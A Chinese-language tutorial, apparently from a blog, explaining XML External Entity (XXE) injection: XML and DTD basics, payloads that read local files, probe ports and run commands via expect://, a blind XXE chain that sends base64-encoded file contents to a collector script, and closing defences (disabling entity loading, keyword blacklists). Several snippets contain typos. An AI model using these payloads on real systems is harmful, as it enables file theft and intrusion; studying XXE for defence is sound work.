赞
踩
简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
<2.1 什么是XML
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
<2.2 XML的特点
XML仅仅是纯文本,他不会做任何事情。可以自己发明标签(允许定义自己的标签和文档结构)
XML 无所不在。XML 是各种应用程序之间进行数据传输的最常用的工具,并且在信息存储和描述领域变得越来越流行!
<2.3 XML与HTML的区别
XML被设计用来传输和存储数据。
HTML被设计用来显示数据。
XML相对于HTML的优点是它将用户界面与结构化数据分隔开来!XML不是要替换HTML,而是对HTML的补充!
<2.4 XML格式
<?xml version="1.0"?> XML声明头
<!DOCTYPE foo[
<!ELEMENT foo ANY>
<!ELEMENT xee SYSTEM "file:///etc/posswd">]> DTD部分
<foo>&xee;</xee> XML部分
<2.5 DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用!
内部实体声明:
<!ENTITY 实体名称 “实体的值”> ex:<!ENTITY eviltest "eviltest">
外部实体声明:
<!ENTITY 实体名称 SYSTEM "URI/URL">
<2.6 为什么要使用DTD
通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。
通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。
而您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。
您还可以使用 DTD 来验证您自身的数据。
<2.7 DTD构造外部实体注入
XML 外部实体注入简称XXE有了XML实体,关键字SYSTEM会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >探测端口;
<!ENTITY xxe SYSTEM "expect://id" >执行命令;
<5.1 关注可能解析xml格式数据的功能处,较容易发现的是请求包参数包含XML格式数据,不容易发现的是文件上传及数据解析功能处,通过改请求方式、请求头Content-Type等方式进行挖掘。
比如:抓包后将请求改为POST加上DTD部分
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=要读取的文件">
<!ENTITY %remote SYSTEM "本地调用的xml文件地址">
%remote;
%send;
]>
<5.2 simplexml_load_string()函数,SimpleXMLElement()对象造成的回显注入。
simplexml_load_string() 函数是把 XML 字符串载入对象中。
语法:
simplexml_load_file(string,class,options,ns,is_prefix)
比如:
<?php
$test='<!DOCTYPE scan[<!ENTITY test SYSTEM "file:///c:/1.txt">]
<scan>$test;</scan>
$obj=simplexml_load_string($test,'SimpleXMLElement');
print r($obj);
?>
变量test里面是xml,使用simplexml_load_string() 函数将其转化为对象,调用SimpleXMLElement()去读取文件!
<5.3 没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据:
第一步:先读取信息
<?php
$test =<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=1.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1/6/1.xml">
%remote;
%send;
]>
EOF;
$obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT);
//$postObj = simplexml_load_string($test);
?>
通过变量file和php伪协议(仅对PHP有用)读取1.txt中的内容,再去外部调用一个xml文件,即:1.xml
第二步:发送信息
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://127.0.0.1/6/2.php?id=%file;'>"
>
%all;
1.xml中代码的作用是将php文件中变量file读取到的文件内容拼接到URL中id传参的后面发送给2.php
(xml代码就不具体讲解了,有兴趣的看客可以自己了解下)
2.php记录后存储到3.txt
<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>
本地测试效果
<5.4 代码审计(推荐)
<6.1 使用开发语言提供的禁用外部实体的方法
比如php:
libxml_disable_entity_loader(true);
<6.2 使用黑名单禁用,过滤用户提供的xml数据
比如关键词:<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC等;
外部引用可支持http,file等协议,不同语言支持的协议不同
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。